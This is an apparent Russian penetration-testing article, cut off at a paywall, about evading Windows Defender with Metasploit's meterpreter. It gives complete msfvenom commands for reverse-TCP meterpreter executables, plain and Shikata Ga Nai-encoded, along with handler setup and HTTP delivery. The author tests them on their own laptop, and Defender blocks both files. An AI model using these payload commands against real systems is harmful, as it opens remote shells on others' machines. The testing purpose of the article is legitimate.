Обходим антивирус и загружаем meterpreter на Windows 10 из памяти
5 min read

Обходим антивирус и загружаем meterpreter на Windows 10 из памяти

Проблема обнаружения полезной нагрузки стоит достаточно остро и родной Windows Defender отлично справляется с детектированием meterpreter. В этом материале я разберу эффективность энкодера Shikata Ga Nai, протестирую payload на статический анализ и попробую запустить meterpreter напрямую из памяти.
Обходим антивирус и загружаем meterpreter на Windows 10 из памяти

Meterpreter

Meterpreter — это нагрузка, задуманная в контексте MSF как гибкая, расширяемая, полнофункциональная и унифицированная основа для пост-эксплуатации, как альтернатива классическим шеллкодам. Безупречный инструмент в арсенале любого пентестера, но он настолько популярен, что ее сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.  

Shikata Ga Nai

Одной из основных техник Metasploit является схема кодирования полезной нагрузки Shikata Ga Nai. Эффект обеспечивает уникальный «полиморфный аддитивный энкодер XOR» кодера SGN.

Каждое создание закодированного shell-кода будет отличаться от предыдущего. SGN делает полезную нагрузку безопасной на вид, кодируя вредоносное ПО с помощью «динамической замены команд, динамического упорядочения блоков, случайного обмена регистрами, рандомизации порядка команд, вставки ненужного кода, использования случайного ключа и рандомизации расстояния между командами».

При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.

XOR представляет собой алгоритм шифрования, который работает на основе ряда известных принципов. Шифрование и дешифрование могут быть выполнены путем применения и повторного использования функции XOR.

Кому интересен обзор технической стороны SGN, рекомендую к прочтению материал THE SHIKATA GA NAI ENCODER, авторами которой являются Nick Hoffman, Jeremy Humble и Toby Taylor.

Определение проблемы

Поскольку SGN самый популярный, то наверняка и самый пристально анализируемый энкодер всеми исследователями антивирусных лабораторий. Есть подозрение, что от него толку нет.

Предлагаю проверить Shikata Ga Nai на практике. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Windows 10.0 Build 19042).

Генерацию shell-кода буду делать с помощью msfvenom. В качестве слушателя будет выступать Kali Linux (2020.4) последней версии с установленным Metasploit 6.0.18-dev.

Для начала сгенерируем стандартную нагрузку без SGN:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 \
-f exe > clean_shell.exe
(out)...
(out)Payload size: 354 bytes
(out)Final size of exe file: 73802 bytes

На Kali поднимем handler. На интерфейсе eth1 ip адрес 10.10.0.180:

msfconsole
(out)use exploit/multi/handler
(out)set payload windows/meterpreter/reverse_tcp
(out)set lhost eth1
(out)set lport 4433

Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю http-сервер с помощью модуля для второй версии python:

python -m SimpleHTTPServer

Пробую скачать по адресу http://10.10.0.180:8000/clean_shell.exe

Очевидно, что файл заблокировал Google Chrome

Ок. Давайте попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.

При попытке открыть нас ждет предупреждение и файл удаляется.

Однако, файл с meterpreter удаляется даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какой внимательный Windows :)

Автоматическое удаление файла с meterpreter.

Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый payload в msfvenom. На машине с Kali по-прежнему висит в ожидании handler.

Добавим к опциям -e x86/shikata_ga_nai -b '\x00' -i 20, те используем SGN в количестве 20 итераций с удалением плохого символа \x00.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 \
-e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe
(out)...
(out)Found 1 compatible encoders
(out)Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
(out)x86/shikata_ga_nai succeeded with size 381 (iteration=0)
(out)x86/shikata_ga_nai succeeded with size 408 (iteration=1)
(out)x86/shikata_ga_nai succeeded with size 435 (iteration=2)
(out)x86/shikata_ga_nai succeeded with size 462 (iteration=3)
(out)x86/shikata_ga_nai succeeded with size 489 (iteration=4)
(out)x86/shikata_ga_nai succeeded with size 516 (iteration=5)
(out)x86/shikata_ga_nai succeeded with size 543 (iteration=6)
(out)x86/shikata_ga_nai succeeded with size 570 (iteration=7)
(out)x86/shikata_ga_nai succeeded with size 597 (iteration=8)
(out)x86/shikata_ga_nai succeeded with size 624 (iteration=9)
(out)x86/shikata_ga_nai succeeded with size 651 (iteration=10)
(out)x86/shikata_ga_nai succeeded with size 678 (iteration=11)
(out)x86/shikata_ga_nai succeeded with size 705 (iteration=12)
(out)x86/shikata_ga_nai succeeded with size 732 (iteration=13)
(out)x86/shikata_ga_nai succeeded with size 759 (iteration=14)
(out)x86/shikata_ga_nai succeeded with size 786 (iteration=15)
(out)x86/shikata_ga_nai succeeded with size 813 (iteration=16)
(out)x86/shikata_ga_nai succeeded with size 840 (iteration=17)
(out)x86/shikata_ga_nai succeeded with size 867 (iteration=18)
(out)x86/shikata_ga_nai succeeded with size 894 (iteration=19)
(out)x86/shikata_ga_nai chosen with final size 894
(out)Payload size: 894 bytes
(out)Final size of exe file: 73802 bytes

Пробуем загрузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe

SGN не помог обойти антивирус.

Снова неудача. После скачивания с помощью wget и запуском нас ждет такая же история, как и в прошлый раз с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.

К слову, с сентября 2020 года компания Google ввела Advanced Protection Program для высоко рисковых пользователей, таких как политики, журналисты и тд. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю. Подробнее: https://landing.google.com/advancedprotection/

Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог.

Запуск meterpreter из памяти

Очевидным решением в данном случае будет уход в сторону выполнениям программы meterpreter из памяти работающего процесса. Возможно нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.

Для выполнения программы из памяти я буду использовать язык python. Известен способ запуска обратного шелла python с последующей компиляцией скрипта в единый .exe файл модулем py2exe. Однако, рассмотренный способ в этом материале можно улучшить, так как предлагаемый python shell является довольно слабым по функционалу на Windows системах, о чем верно подметил автор статьи.

Статья написана для журнала «Xakep.ru»

Материалы подготовленные для других изданий становятся доступны для чтения спустя два месяца после публикации. Сейчас, чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

По промокоду xakep-promo-n0a скидка 20%.